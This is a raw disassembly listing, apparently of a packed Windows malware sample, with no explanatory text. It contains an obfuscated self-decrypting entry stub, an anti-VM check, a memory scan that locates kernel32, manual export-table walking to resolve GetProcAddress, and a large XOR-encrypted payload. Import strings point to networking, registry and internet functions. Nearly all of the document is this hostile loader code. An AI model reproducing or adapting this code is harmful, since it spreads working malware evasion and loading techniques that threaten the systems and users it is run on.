		dd 80E9h, 80ACh, 3 dup(0)
		dd 80F4h, 80B4h, 3 dup(0)
		dd 8100h, 80BCh, 5 dup(0)
		dd 7C801D77h, 7C80ADA0h, 7C81CDDAh, 0
		dd 77DD6BF0h, 0
		dd 77C371D3h, 0
		dd 7E41A8ADh, 0
		dd 42C2C8A1h, 0
		dd 71AB9639h, 0
		dd 4E52454Bh, 32334C45h, 4C4C442Eh, 56444100h, 33495041h
		dd 6C642E32h, 534D006Ch, 54524356h, 6C6C642Eh, 45535500h
		dd 2E323352h, 6C6C64h, 494E4957h, 2E54454Eh, 6C6C64h, 5F325357h
		dd 642E3233h, 6C6Ch, 64616F4Ch,	7262694Ch, 41797261h, 65470000h
		dd 6F725074h, 64644163h, 73736572h, 78450000h, 72507469h
		dd 7365636Fh, 73h, 43676552h, 65736F6Ch, 79654Bh, 61720000h
		dd 646Eh, 72707377h, 66746E69h,	41h, 65746E49h,	74656E72h
		dd 6E65704Fh, 41h, 26h dup(0)

; =============== S U B	R O U T	I N E =======================================


		public start

start		proc near

var_8		= dword	ptr -8

		clc
		pusha
		push	ebp
		mov	ebp, esp
		cmc
		sub	eax, eax


loc_31428208:				; CODE XREF: start+Ej
		dec	al
		or	al, al
		jz	short loc_31428212
		jnz	short loc_31428208
		jmp	short loc_31428279
; ---------------------------------------------------------------------------


loc_31428212:				; CODE XREF: start+Cj
		stc
		nop
		xchg	ebx, ebx
		xchg	ebx, ebx
		sub	esi, esi
		sub	ecx, ecx
		mov	cl, 0D3h
		nop


loc_3142821F:				; CODE XREF: start+26j
		lea	esi, [esi+1]
		xchg	ebx, ebx
		nop
		dec	ecx
		jnz	short loc_3142821F
		stc
		call	sub_31428276
		nop
		cld
		nop
		add	ecx, 1DD2h
		xor	ebx, ebx
		xor	ebx, 2A39h
		nop
		cld
		push	ecx
		xchg	ebx, ebx


loc_31428244:				; CODE XREF: start+53j
		call	sub_31428265
		nop
		nop
		inc	ecx
		dec	ebx
		mov	ecx, ecx
		clc
		cmp	ebx, 0
		jnz	short loc_31428244
		pop	ecx
		stc
		leave
		mov	ebx, ebx
		mov	[esp+20h+var_8], ecx
		stc
		popa
		cmc
		jmp	ecx
start		endp

; ---------------------------------------------------------------------------
		db 89h,	0DBh

; =============== S U B	R O U T	I N E =======================================



sub_31428265	proc near		; CODE XREF: start:loc_31428244p
		mov	al, [ecx]
		clc
		clc
		xor	ax, si
		clc
		xchg	al, [ecx]
		cld
		mov	ecx, ecx
		xchg	ebx, ebx
		retn
sub_31428265	endp

; ---------------------------------------------------------------------------
		stc

; =============== S U B	R O U T	I N E =======================================



sub_31428276	proc near		; CODE XREF: start+29p
		pop	ecx
		nop
		cld


loc_31428279:				; CODE XREF: start+10j
		push	ecx
		retn
sub_31428276	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0F5h
		dd 7BFCh, 31420000h, 1E00h, 78h, 75Dh dup(0)
; ---------------------------------------------------------------------------
		call	$+5
		cld
		mov	eax, [esp]
		mov	ecx, [eax+29ABh]
		mov	[eax+32F3h], ebx
		and	ecx, 400000h
		mov	ebx, [esp+4]
		jz	short loc_3142A04D
		pop	ecx
		mov	[eax+32F7h], esi
		mov	cl, [eax+29AFh]
		mov	[eax+32FBh], edi
		cmp	cl, 0E8h
		jz	short loc_3142A041
		mov	ebx, [eax+29B1h]
		jmp	short loc_3142A04B
; ---------------------------------------------------------------------------


loc_3142A041:				; CODE XREF: UPX2:3142A037j
		mov	ecx, [eax+29B0h]
		mov	ebx, [ecx+ebx+2]


loc_3142A04B:				; CODE XREF: UPX2:3142A03Fj
		mov	ebx, [ebx]


loc_3142A04D:				; CODE XREF: UPX2:3142A01Fj
		push	ebp
		mov	ebp, eax
		sub	dword ptr [esp+4], 1E05h
		sub	ebp, 101005h
		mov	edi, [esp+4]
		lea	esi, [ebp+1039BCh]
		mov	ecx, 7Dh
		rep movsb
		sldt	cx
		test	ecx, ecx
		jnz	short loc_3142A07B
		or	eax, 0FFFFFFFFh
		int	2Eh		; DOS 2+ internal - EXECUTE COMMAND
					; DS:SI	-> counted CR-terminated command string


loc_3142A07B:				; CODE XREF: UPX2:3142A074j
		and	ebx, 0FFFFF000h


loc_3142A081:				; CODE XREF: UPX2:3142A090j
		cmp	dword ptr [ebx+4Eh], 73696854h
		jz	short loc_3142A092


loc_3142A08A:				; CODE XREF: UPX2:3142A09Fj
		sub	ebx, 100h
		jnz	short loc_3142A081


loc_3142A092:				; CODE XREF: UPX2:3142A088j
		mov	eax, ebx
		add	eax, [ebx+3Ch]
		mov	edx, [eax+78h]
		cmp	word ptr [eax],	4550h
		jnz	short loc_3142A08A
		add	edx, ebx
		mov	esi, [edx+20h]
		mov	ecx, [edx+18h]
		add	esi, ebx
		push	ecx


loc_3142A0AC:				; CODE XREF: UPX2:loc_3142A0C0j
		lodsd
		add	eax, ebx
		cmp	word ptr [eax+2], 5074h
		jnz	short loc_3142A0C0
		cmp	dword ptr [eax+5], 6441636Fh
		jz	short loc_3142A0C5


loc_3142A0C0:				; CODE XREF: UPX2:3142A0B5j
		loop	loc_3142A0AC
		pop	ecx
		jmp	short loc_3142A0F0
; ---------------------------------------------------------------------------


loc_3142A0C5:				; CODE XREF: UPX2:3142A0BEj
		sub	[esp], ecx
		mov	esi, [edx+24h]
		pop	ecx
		add	esi, ebx
		movzx	eax, word ptr [esi+ecx*2]
		mov	edi, [edx+1Ch]
		add	edi, ebx
		mov	esi, [edi+eax*4]
		add	esi, ebx
		lea	eax, [ebp+101137h]
		lea	ecx, [ebp+101120h]
		mov	dx, [eax-19h]
		call	ecx
		jmp	short loc_3142A137
; ---------------------------------------------------------------------------


loc_3142A0F0:				; CODE XREF: UPX2:3142A0C3j
		mov	eax, [ebp+1039B0h]
		and	eax, 400000h
		jz	short loc_3142A11C
		lea	esi, [ebp+1039B4h]
		lodsd
		mov	edi, [esp+4]
		stosd
		mov	ebx, [ebp+1042F8h]
		movsb
		mov	edi, [ebp+104300h]
		mov	esi, [ebp+1042FCh]


loc_3142A11C:				; CODE XREF: UPX2:3142A0FBj
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		dw 8B80h
; ---------------------------------------------------------------------------
		push	ebx
		mov	ecx, 2879h
		mov	ebx, edx


loc_3142A128:				; CODE XREF: UPX2:3142A133j
		xor	[eax], dl
		sub	dl, bl
		add	eax, 1
		xchg	bl, bh
		xchg	dl, dh
		loop	loc_3142A128
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_3142A137:				; CODE XREF: UPX2:3142A0EEj
		push	80000087h
		db	36h
		insb
		test	esi, ebx
		cmp	cl, [eax-4Bh]
		out	dx, al
		sub	eax, 6080DB6Ch
; ---------------------------------------------------------------------------
		db 0FFh, 7Eh, 9
		dd 90AC5298h, 8071E807h, 0F22500F1h, 0E52461BEh, 0EE5F7680h
		dd 0D32441DBh, 587D666h, 80E83ED5h, 80E20D85h, 0F4A94757h
		dd 0F4C5610Dh, 0EFD2726Eh, 7FD90067h, 0DAF18929h, 685E10D7h
		dd 80480310h, 43DC038h,	7FE3FFFBh, 0DA93FFC1h, 5F01045h
		dd 15F0FA5h, 0C4004Ch, 90BB2F84h, 94ED0123h, 0C27AB5F2h
		dd 0D9200E7h, 804615CEh, 95C88544h, 87C100A5h, 959CA51Ch
		dd 3FE0099h, 90FD78D6h,	2551005Dh, 80AC153Bh, 38331h, 8090100Eh
		dd 54FFC652h, 816410FDh, 0BE10B550h, 35B500D3h,	80321559h
		dd 3D81C9A4h, 80E63EEBh, 0D0820DAh, 0DFCA0056h,	0BE1E95C0h
		dd 685F0039h, 540C0F0Ch, 0B7200FDh, 0C03614A0h,	802EC3D2h
		dd 93800ABh, 90246220h,	0F31C688Fh, 80840079h, 0BE3A959Ch
		dd 4047005Dh, 82428438h, 0D010021h, 909000BEh, 39858BF5h
		dd 80540C19h, 903EED48h, 15A500A3h, 800212C9h, 6203A574h
		dd 0BC6ECF2h, 0B3D86AA7h, 15375985h, 80B41B12h,	7C05ABEAh
		dd 7E68578Ah, 0E8351CAAh, 804D00D4h, 0BE54953Eh, 44A300BBh
		dd 8FCA85B5h, 80F69FFBh, 80B49769h, 80A00139h, 0E8320039h
		dd 809D0027h, 0BEE495EEh, 40F500EBh, 82D884EAh,	802E00CFh
		dd 802E68E9h, 807200A7h, 0D70EE84Ch, 0E8BC011Dh, 80D70060h
		dd 0BEA295B4h, 8AC20025h, 7F94011Fh, 9040629Ch,	806DE8F3h
		dd 0D1BB00DDh, 0EA3C00C5h, 8AC559B1h, 15EF0AF1h, 80EA3E53h
		dd 327F184h, 90F082E4h,	4B70043h, 80A20219h, 808C06FFh
		dd 0C4224E01h, 7F604CA7h, 90749E40h, 4E818DBFh,	0B31E10BEh
		dd 6AB58D5Ah, 31F21043h, 0F5349369h, 3C60053h, 908F1E86h
		dd 4950025h, 8084020Fh,	0BE808572h, 0F0A700F3h,	87C78FCCh
		dd 0B2C108Eh, 90290624h, 8170FF8Bh, 0B9BE85FAh,	55F004Fh
		dd 80AE3EBBh, 0FA970CCh, 90AB5B98h, 76F18B07h, 636610CFh
		dd 8121FFC1h, 0B952854Ah, 0DAF00BFh, 801E3E67h,	0F1070960h
		dd 0F5678F6Ch, 68CC106Eh, 80B601F9h, 0BFD4BDA6h, 4F010005h
		dd 59820095h, 35A7016h,	0C0220332h, 0EA65F9BEh,	0D046AA7h
		dd 9013DB24h, 80E9B97Bh, 84570065h, 7F3BFE02h, 0D0566C6h
		dd 80984D27h, 2BE4000Dh, 2B68477Ah, 15DBE4D3h, 80503EEBh
		dd 82A36619h, 4297ABF9h, 0B0BE28Bh, 0E8E86AA7h,	80D27345h
		dd 80D6CCCCh, 80CCC4BAh, 80900073h, 0D13A6A0Dh,	0D06A6ABDh
		dd 0BEB49526h, 36000D3h, 984A4069h, 0B0C00E4h, 0BF66A55h
		dd 0EAA06AA7h, 0D2C86A55h, 98DC0055h, 0EA9E005Ah, 7FE25113h
		dd 82E7FFADh, 0DF5C10D8h, 8FB98588h, 8031073Fh,	80AF8DA5h
		dd 3904109Fh, 80EE0CBFh, 252BEFE8h, 90C2EDCCh, 5210027h
		dd 8086141Bh, 0D4D0E0F4h, 7F00209Fh, 0BF5E9520h, 40BB00D9h
		dd 681C75ECh, 801201D2h, 80FC116Fh, 0C4835371h,	0E7A5623Eh
		dd 0F6D37215h, 0E7C16C46h, 68D9007Ch, 80780553h, 0C21AB512h
		dd 15B300C7h, 80263E4Fh, 0D2B5FFFCh, 0EA0A10ABh, 7FF66A7Fh
		dd 90E082FCh, 81E0B953h, 0AB25003Dh, 0A49089C6h, 15795745h
		dd 80603E3Dh, 25D9F6D6h, 80543FADh, 7F7954B9h, 9026CA36h
		dd 0F4C2858Dh, 7E6F4611h, 7F387265h, 0EAC8243Fh, 7F806A35h
		dd 90AAC28Ah, 0F4BE8509h, 880932Fh, 0B35200D8h,	0BADF910Eh
		dd 0BF448588h, 0B265008Bh, 0A4DE7C04h, 0F396730Ch, 414F282Dh
		dd 80B80EDCh, 0D6F2547Dh, 0D3DC5046h, 0BE0C95FEh, 40E500FBh
		dd 7F45748Ch, 0F3C24CBh, 9021622Ch, 7DCDE893h, 7FA1FF82h
		dd 90E252F2h, 148EB51h,	80B128FFh, 15655725h, 80943E5Dh
		dd 0BE3C9506h, 41B100F3h, 80BDFF36h, 0EA2C6AEDh, 0EA166AA1h
		dd 8001688Bh, 44610071h, 0EA840035h, 7F7A8B45h,	0DFD056D1h
		dd 0B3920029h, 7FA6E8CEh, 15EBFF0Eh, 80401592h,	0D06B5197h
		dd 0BE729550h, 448D0089h, 7F73C3A3h, 80BA5835h,	80CC334Fh
		dd 80B60E22h, 80A0002Ah, 808A0015h, 807400FFh, 805E2959h
		dd 804800D3h, 7F6156ECh, 90225E32h, 2C5FAB91h, 7B85C0FFh
		dd 0D19EE87h, 90DD75DAh, 15515239h, 80883E95h, 0C2FA8584h
		dd 968400E7h, 0CC5600E1h, 0F52B6FA4h, 0E95850C5h, 0E57869E9h
		dd 0E1A865EEh, 0C18D751Fh, 152D505Dh, 80AC3E19h, 0C2DA85B8h
		dd 0DC53000Bh, 0E5096147h, 0E50961A1h, 0EA2C4FBDh, 0F34C63A6h
		dd 0D35656F1h, 807863F2h, 0F28273EDh, 808E6507h, 0E1AF7216h
		dd 0E9F2654Bh, 80DF6545h, 0E1ED7250h, 0E9346589h, 0E111658Bh
		dd 0EE2F70A1h, 0C33041DCh, 0F47B65D7h, 0EF7650EAh, 0F39D651Ah
		dd 0F29B0022h, 0E5B66128h, 0EFC16565h, 0E8C26555h, 0E4E16579h
		dd 0E51843F5h, 0D43174BEh, 0E15B72A1h, 0F26B00D7h, 0E56661F8h
		dd 0EC936FD3h, 0F08A6519h, 0EE833268h, 0E8C97024h, 0C5A47440h
		dd 0D4FA6961h, 0E11D726Bh, 0E9240089h, 0E91865BBh, 0EF6265ACh
		dd 0F45379F8h, 0E95E6DF0h, 0C6F46512h, 0CCBB651Bh, 0E1BA623Ah
		dd 0C7B2794Fh, 0E9DA7442h, 0F4C7657Dh, 0E219728Fh, 0F33F7490h
		dd 0E503008Eh, 0EC4746CDh, 0FA7153C6h, 0E54500E8h, 0EC854603h
		dd 0EDBF5404h, 0E587002Eh, 0E4C54D41h, 0C8F16C6Ah, 0EC1A6E68h
		dd 0C7684196h, 0E50674B8h, 0E97A70AAh, 0E16865DDh, 805165F6h
		dd 0D48E65C2h, 0D0946D0Ah, 0C1A67438h, 0F4DD4743h, 0F3D0657Bh
		dd 80E26F7Eh, 0D6026546h, 0E913728Eh, 0F80F6EBAh, 0E57300FEh
		dd 0EC7156DDh, 0C96D6DE6h, 0F29D6613h, 0E9A8610Ah, 80876E3Eh
		dd 0E4D16F77h, 0F2F86969h, 0C1FD726Eh, 0F00F4DF9h, 0F73D69B5h
		dd 0E9046682h, 0CF2C65DBh, 0C67865D1h, 0CD656CE2h, 0E99A7014h
		dd 80956731h, 0EEDB7006h, 0E3C77263h, 80E17378h, 0E3137257h
		dd 0B3157394h, 0F23946E9h, 0D03A74B6h, 0E5476FDDh, 0B23D73EAh
		dd 0F48065CDh, 0F487536Dh, 0E5A06911h, 0F2C27400h, 0F4D56242h
		dd 80CB7370h, 0C60065ACh, 0D43B6C80h, 802D6DBAh, 0E5576CEEh
		dd 0F94F00D7h, 0ED6374E2h, 0E59D692Fh, 0E99C6F31h, 0E9906523h
		dd 0D5AE6554h, 0F0F96D4Dh, 0F7E7695Bh, 0E92A66B8h, 0D656658Dh
		dd 0F53472A2h, 0EC6B6CD4h, 80776FF3h, 0F49772DEh, 0EC814616h
		dd 0F49C0038h, 0F5D66406h, 0F2F67442h, 0ECF97672h, 0F31F6760h
		dd 0E50F6FBBh, 0F40000B7h, 0E15D7280h, 0E96465D9h, 0CE0C65FBh
		dd 0E58443F5h, 0D085740Ah, 0E5A96F27h, 0CEB4734Ch, 0E5EC435Dh
		dd 0D0ED7472h, 0E5116F8Fh, 0F8197394h, 0C3324ED1h, 0F45165C9h
		dd 0E37F53C0h, 0EE6B69FBh, 0C39A4E79h, 0F4B96511h, 0E5B15528h
		dd 0EFDE5045h, 0F3E56542h, 0CDF44E0Bh, 0E93C7094h, 0E61B77BAh
		dd 0F45D659Ah, 80466FDAh, 0F05D74D3h, 0E9BA6EE2h, 0CEE6651Dh
		dd 0E5A04F2Fh, 0EFC8502Bh, 0F3D7654Ch, 0E5E56F4Dh, 0F436006Dh
		dd 0EE0770A2h, 0F42F6584h, 80586FA8h, 0F27074E5h, 0E36F74FAh
		dd 0F29D560Bh, 0ECBF751Dh, 0EFA5651Eh, 0CEB2794Fh, 0E5E95153h
		dd 0EECF7963h, 0ED026F9Dh, 0EF337484h, 0EB2B54A1h, 0CE2E6EDCh
		dd 0E96A57D7h, 0E95465F9h, 0E1997405h, 0EDB34D0Dh, 80B97224h
		dd 0D5C67467h, 0EFF76971h, 0F42D656Dh, 0E7066981h, 0EE136F89h
		dd 0F46F69B4h, 0E74869C3h, 0C143579Bh, 0F29B74D6h, 8094751Bh
		dd 0F3A16C3Ah, 0E3D77326h, 80D66546h, 0EEE26F74h, 80026364h
		dd 0E814658Ch, 0E23E73BAh, 0ED556EC6h, 0E56C00CCh, 0F30876F0h
		dd 80966E18h, 0EBBF6F14h, 0C9C67434h, 0F2D57455h, 0C3EE654Bh
		dd 0E5F76F63h, 0E40061B1h, 0C958658Fh, 0F22774A3h, 0C75865D9h
		dd 0EF5574C4h, 0E3656EE5h, 0D38E6501h, 0E5A0612Bh, 0F4D04949h
		dd 0E5C67256h
		dd 0E5E24F69h, 0C97C4169h, 0F203749Fh, 0CF2465B5h, 0D55465B5h
		dd 80656CDDh, 0E57A6ED0h, 0F49D6EF1h, 0E483653Fh, 0E5A06911h
		dd 0D6F24141h, 0B3E9506Ah, 0CCCE2E27h, 0E52600B3h, 0EF32438Eh
		dd 0E50365A0h, 0E56000C4h, 0E56C4FC0h, 0F9634BFFh, 80B1783Eh
		dd 0D1BD6537h, 0F9B6653Ah, 0F5C2616Fh, 0C1E04546h, 0E7E7520Dh
		dd 0D61865A4h, 0E5236C80h, 8001788Eh, 0EADC33E3h, 0B42569Dh
		dd 0D2FF6A5Dh, 0D6F0728Ch, 0C2AE95A2h, 44370057h, 0D0F05667h
		dd 98E0FF4Dh, 0BE9095FAh, 44E700FFh, 888C5EC9h,	7B718DC3h
		dd 0E873C886h, 680C0097h, 83D24C0Ch, 858A0001h,	0EA995004h
		dd 0D0788B3Ah, 0D4CED4A2h, 0D2D94079h, 92E7FFAEh, 35C10D8h
		dd 15B90C15h, 80203FA1h, 4312C426h, 0BE249502h,	49DD0069h
		dd 0E88A0009h, 80F0007Dh, 0D1FDC4BCh, 0D1C6404Bh, 40031861h
		dd 8E0054FDh, 8EC1FF8Fh, 33E10F6h, 521B2077h, 191DC018h
		dd 0D826F745h, 0D725C252h, 4138FF68h, 8F45FFBAh, 80A4A5ABh
		dd 98E65019h, 0B780070h, 0B626A39h, 0E80C6A1Bh,	802600C1h
		dd 0EA7202C1h, 0F3126895h, 809E007Fh, 7F8E5338h, 90F702C6h
		dd 7FEB5F3Dh, 90A252B2h, 0F4798511h, 0FD8B8Ah, 635A10F0h
		dd 80D18DC3h, 832E10A9h, 7F4B5772h, 6E878B5Fh, 0DEC1049h
		dd 80FF06EEh, 7FEBE84Bh, 521FFCAh, 80843F19h, 0A92D8F84h
		dd 9A8000F3h, 0BADFF22h, 9002F242h, 0DAA98DB1h,	681000B2h
		dd 7F05FF8Ch, 0BE1285E4h, 404B0049h, 0F352037h,	80A2294Ah
		dd 7F72F4FFh, 7EF38BFEh, 56010D5h, 0D417415h, 801D7430h
		dd 7EC1E8A9h, 4783FF6Ch, 68A7C322h, 80DC0067h, 942B810Ch
		dd 0B3B01020h, 1F1F8DECh, 0D1841011h, 0D03F51ADh, 15A751B2h
		dd 80523EB3h, 7F080430h, 90285234h, 84C25D8Bh, 80025575h
		dd 0DDD4005Fh, 9BFDEDC8h, 7FC20023h, 9B9C9590h,	0D22C0017h
		dd 8042203Ch, 44D300F1h, 5FD66C9h, 80341BFBh, 5C92054h
		dd 80E81BD5h, 80C80049h, 9AA6C30Ah, 80BFE819h, 0C22D002Bh
		dd 4974AA74h, 0E9B7F08Ah, 90616C7Ch, 88CC05D3h,	15BB42B5h
		dd 800C3FCBh, 0D5C5E266h, 80F00093h, 6D5B5D65h,	80D41BD2h
		dd 0BFDE9DB2h, 0FC1B0033h, 8F820829h, 806CB973h, 88BA81E1h
		dd 0D44000C9h, 802B04DDh, 2681FF9Fh, 0BFE10B7h,	0A46C8D8Fh
		dd 80D20159h, 68BC6A17h, 80A60035h, 80C2524Dh, 22EFFF52h
		dd 0B36410D1h, 84D98D10h, 0D13800C2h, 0D1206AFCh, 806401FDh
		dd 0D2B60081h, 0BE8E9594h, 55C0045h, 0D0EF74C9h, 819A687Dh
		dd 7FDF0013h, 82522449h, 15A300E7h, 80563F9Fh, 0F4F085E2h
		dd 0D00EE3B3h, 806ED404h, 0D6B9512Bh, 0BE3E959Ch, 59B005Dh
		dd 0D67C75F7h, 0BEC495DEh, 0D70D001Bh, 0EA3D52B1h, 17D9589Bh
		dd 803E01CDh, 0EAE83318h, 2BE1598Dh, 0D0AC50D7h, 0D2B65021h
		dd 0BEA695A4h, 443B0055h, 80A40227h, 88AA74E6h,	0BF4695FCh
		dd 7F3100FDh, 90733E42h, 84F45DC1h, 8A1E80ABh, 0B4C01E0h
		dd 90E17CF2h, 0DC7E369h, 90D800C6h, 0D663033Dh,	4018D2D8h
		dd 8199881Eh, 47F00FBh,	805A01F5h, 0F57E3E4Fh, 0BEAE46A9h
		dd 819C0FA3h, 2008Ch, 71992049h, 0D0E88127h, 0F5874E02h
		dd 46658B77h, 0ABDB0159h, 801451C7h, 7F3B56A2h,	906D3648h
		dd 410759C7h, 80F985BEh, 59D009Bh, 80EA1E16h, 8C8C0005h
		dd 0D0CE0059h, 0B62DFF10h, 0BDA21012h, 808C001Bh, 80C9850Eh
		dd 318900EBh, 14A00D5h,	0C9665081h, 259B0FFFh, 3080093h
		dd 0BC5E08BBh, 19580F6Ah, 0BCC60051h, 2C43751Bh, 5953A19h
		dd 80840083h, 0A04E0D54h, 0A16520C3h, 0F53665AAh, 0A010ACC8h
		dd 0FE977CD4h, 0F4682074h, 19B7501h, 0BAA40321h, 0E8CB2F66h
		dd 805747F5h, 90283112h, 777C0020h, 15995213h, 80403E0Dh
		dd 0D06AC0F6h, 89CC50FFh, 0C40E0099h, 0EC9677ECh, 80866102h
		dd 0BF8A95A8h, 40330051h, 4993365Fh, 0BFFA859Ch, 0E82500EFh
		dd 5E02E9h, 0D01E5182h,	0BF789542h, 159100B7h, 80161B06h
		dd 0D439332Bh, 0D1885034h, 0FE51FF1Eh, 7AE1007h, 15672427h
		dd 80923E5Fh, 0DECC30Fh, 8046158Eh, 0EA83F9CAh,	7F2B6AB4h
		dd 8467FFACh, 407B1576h, 5BDB5A07h, 8B61D0D6h, 0D805044h
		dd 90BBBB84h, 8C2A8B1Bh, 0B7A0004h, 80650865h, 0ABB603D9h
		dd 4BB36008h, 0F443A65Eh, 75EE4792h, 47752E6Ah,	4C6B5364h
		dd 0D01E8B02h, 0D1F46A6Bh, 7F616A7Bh, 90B71286h, 6FF8BFDh
		dd 35C10D9h, 4F6D0C15h,	4737E938h, 681A6AA2h, 834B898Fh
		dd 0C6A153BAh, 0D2995737h, 0E98F5C08h, 0F3C37254h, 0DCE2664Eh
		dd 0E4EE695Ch, 0DC19779Ah, 0F226759Ch, 0D64A6EACh, 0E95B72D6h
		dd 0C54E6EF2h, 0EF9070FFh, 80946503h, 0E7A2610Fh, 0EFF27420h
		dd 82A4745Ch, 80DE0019h, 0F0780003h, 0E91A6F9Fh, 0F2252EBAh
		dd 0EC5767A2h, 0AE5978CAh, 0CE0A6CE5h, 0A0BF4336h, 0F7B27619h
		dd 0F8A47536h, 0C5E15537h, 0CAF72075h, 0A0C8495Eh, 0F21976DDh
		dd 0D5507591h, 80440027h, 6DAF5DB9h, 80081E06h,	956D854Bh
		dd 7FEC0067h, 90E8AAF4h, 9F28C14Bh, 9EC03C41h, 0BEF6B594h
		dd 2C270019h, 0AA1D2ECFh, 7F6C81BBh, 0D1F75DAh,	9019660Ch
		dd 82668B9Bh, 259CA5D2h, 0B83885E2h, 5410049h, 80A83941h
		dd 7AE489D7h, 7B724E9Bh, 4F9401B0h, 0A1885000h,	3B5FF2Eh
		dd 843C24C3h, 88F644DCh, 0D3080093h, 0C4DC433Bh, 7FDC4C2Bh
		dd 90F8B6C4h, 0F4700B3Bh, 82F09328h, 0DE11FF5Ch, 7F6E10C7h
		dd 17B09333h, 68BDFF33h, 802C00BCh, 0DF5546F2h,	0C42E53C4h
		dd 7FEA4C39h, 90EAB6CAh, 7EC2E849h, 8040FFCCh, 7F6DFFEBh
		dd 906ED48Ah, 0DAF33F1h, 9013145Eh, 0D16B51C5h,	0D17550FEh
		dd 329BFFC8h, 68F810BDh, 80E20066h, 0D2895302h,	0C4983272h
		dd 7FA04C67h, 90B4B680h, 807EE8FFh, 0F32900E9h,	0EE2172A3h
		dd 807366C9h, 0DE89FFF7h, 90610AFh, 90CE66FEh, 0DEB0F65h
		dd 90DD75C2h, 0EC2B8939h, 0D198101Ch, 0BE3495F2h, 0E8FF00E7h
		dd 805600E5h, 99C2B546h, 0D7300A5h, 902B5222h, 753CE889h
		dd 478EFF8Ch, 90CC65D8h, 3EC0047h, 90B86794h, 151D001Bh
		dd 806A1E20h, 810E54BFh, 0E81C00B3h, 3800C1h, 0BF749552h
		dd 40890087h, 0DD475DBh, 90FE58E6h, 86A05255h, 9ED1B5B2h
		dd 0D6CA0039h, 0D2D95043h, 0BF289502h, 7F0400F7h, 90795244h
		dd 0F3B5C6BBh, 801A10E4h, 80040C67h, 0CFBD5779h, 0B2EB4B20h
		dd 0CC8E4463h, 3639FF37h, 1396101Fh, 80800763h,	59DF8DF5h
		dd 0D95410C7h, 0BF1CBD44h, 0BDC000A3h, 68EDFF68h, 80FC008Bh
		dd 0C9A84926h, 0AE844515h, 80F64C01h, 0BE1295D0h, 400B0009h
		dd 824D840Ch, 0E8F100EDh, 804C00D2h, 9921B54Ch,	0D7900BBh
		dd 90353E28h, 75F2E87Fh, 3D5DFF96h, 80D83F11h, 90360F3Dh
		dd 19C0025h, 808790FDh,	811854FBh, 7F5A00E4h, 907B225Ah
		dd 10EA81B9h, 0D01800A2h, 8068D406h, 0C279FF25h, 5D6105Eh
		dd 8DB5598Bh, 80B9885Dh, 5601FF1Fh, 6B7E1037h, 0E7D58311h
		dd 805210C3h, 5B129B2h,	80361EDAh, 0AE85FFCBh, 5FA10BAh
		dd 9600FAFh, 0BCE0058h,	80330C03h, 52D30D2h, 809C1E70h
		dd 0C10585C7h, 0EA6100FBh, 0EA4B6AD5h, 0BAA1FFBDh, 31E1096h
		dd 407FF6Bh, 80F2011Dh,	0E3498DF4h, 0EAC6104Fh,	7FE3522Bh
		dd 90A52AB0h, 8F44850Fh, 806F407Ch, 4E58DE3h, 314210D3h
		dd 7A10E8BFh, 147EFF5Eh, 0DE00008Bh, 0B463E65Eh, 152B547Bh
		dd 80AE3EE7h, 9E3ABDBEh
		dd 8123000Dh, 7F861DEFh, 0FFF38D0Eh, 0EA5010C5h, 802E68C5h
		dd 0D37600AFh, 0BF389566h, 0C4750093h, 156F1449h, 80DC4343h
		dd 8A000F11h, 948444A0h, 8282E0D4h, 0CA6601B5h,	831412EBh
		dd 886C44D8h, 413DE13Dh, 8B4D0847h, 7F1624D5h, 3D7D5049h
		dd 80CA3F11h, 80C41CA7h, 0B6802539h, 0A0B6205Bh, 0A5B82023h
		dd 0B84225D2h, 0A02E2599h, 0CA4A73EEh, 0A06449FAh, 15EB579Fh
		dd 80EE3EEFh, 8044C4F2h, 80B8005Dh, 7FEF5717h, 909936A4h
		dd 81D8B1Bh, 0EA7A1010h, 0EB7FE3EFh, 681F0D10h,	803800C6h
		dd 8A46258Bh, 15F35797h, 80E63EE7h, 0D0ECC4E8h,	87A20BBEh
		dd 0DB4003Fh, 90809894h, 7FDB5713h, 904D3668h, 0FE9C85E7h
		dd 0F4F38D85h, 3301084h, 900F8800h, 0D89008Fh, 80FE410Ah
		dd 80B2CE48h, 7F91561Ch, 909332A2h, 806E8321h, 0B112F75h
		dd 0F4DF8D0Bh, 305410E0h, 0F590F2C4h, 0AAC060A3h, 0E1EDFF67h
		dd 891F17F5h, 6BE777FCh, 0AB1F8BB1h, 0F4078D8Bh, 73A41010h
		dd 6B7987BDh, 158753BAh, 80723FCBh, 9523BD57h, 0F43700D1h
		dd 0F5106881h, 15F50095h, 80E43EA9h, 0C1ADBDE9h, 0F4C80043h
		dd 0E737C72Ch, 809C1039h, 46860011h, 9031737Eh,	88B300E5h
		dd 47BBFF31h, 903B783Ch, 801800A3h, 84C05D0Dh, 0CFE60D77h
		dd 0EFB96E41h, 0E6AF2025h, 0E6C36C15h, 0CFB4217Ah, 0ED177429h
		dd 0EF1C2096h, 0EC3763FDh, 0E14E62A2h, 8D0765C5h, 0A0302091h
		dd 0A0B520A5h, 0ED89751Ch, 0E7EE723Ch, 0E5DC7222h, 8AAF2143h
		dd 0E5E06545h, 0E51A746Fh, 0F90C7398h, 0F02B68F5h, 0E11479CFh
		dd 0E53E64C7h, 0E36D70EBh, 0F49C6109h, 0F4AF204Bh, 0E9A26E30h
		dd 0A08A6755h, 0D7900D08h, 0E8E7746Eh, 0A0096E90h, 0A0346C82h
		dd 0A03B61A9h, 0A0486ED6h, 0E87169CFh, 0E6202CFFh, 0E6CA721Ah
		dd 0EEB1692Dh, 0C99E732Dh, 0E9C97713h, 8A9F3A69h, 0F2196850h
		dd 0F2072094h, 0EF2920BEh, 0E61A2CB0h, 0EE4169DDh, 0A03173FDh
		dd 0E5956FC0h, 0F4AB204Ch, 0A0BF6977h, 0E5DB6935h, 0F4E9200Ah
		dd 0ECAA7332h, 0A111749Eh, 0CCFCA141h, 90EE14FAh, 5BB78B24h
		dd 8C8C77DCh, 476E981Eh, 7834A6FFh, 0EEF925F3h,	0E25DAD08h
		dd 66E834EDh, 3DD800DDh, 0C1D3E65Bh, 4200CCABh,	0F0755DAFh
		dd 58F8B399h, 802A00B5h, 8014009Fh, 80FE0089h, 80E80073h
		dd 80D2005Dh, 80BC0047h, 80A60031h, 8090001Bh, 807A0005h
		dd 806400EFh, 804E00D9h, 803800C3h, 802200ADh, 800C0097h
		dd 80F60081h, 80E0006Bh, 80CA0055h, 80B4003Fh, 643B8349h
		dd 80881051h, 0C29AA57Eh, 8F5C00F7h, 0D524366h,	373F18E8h
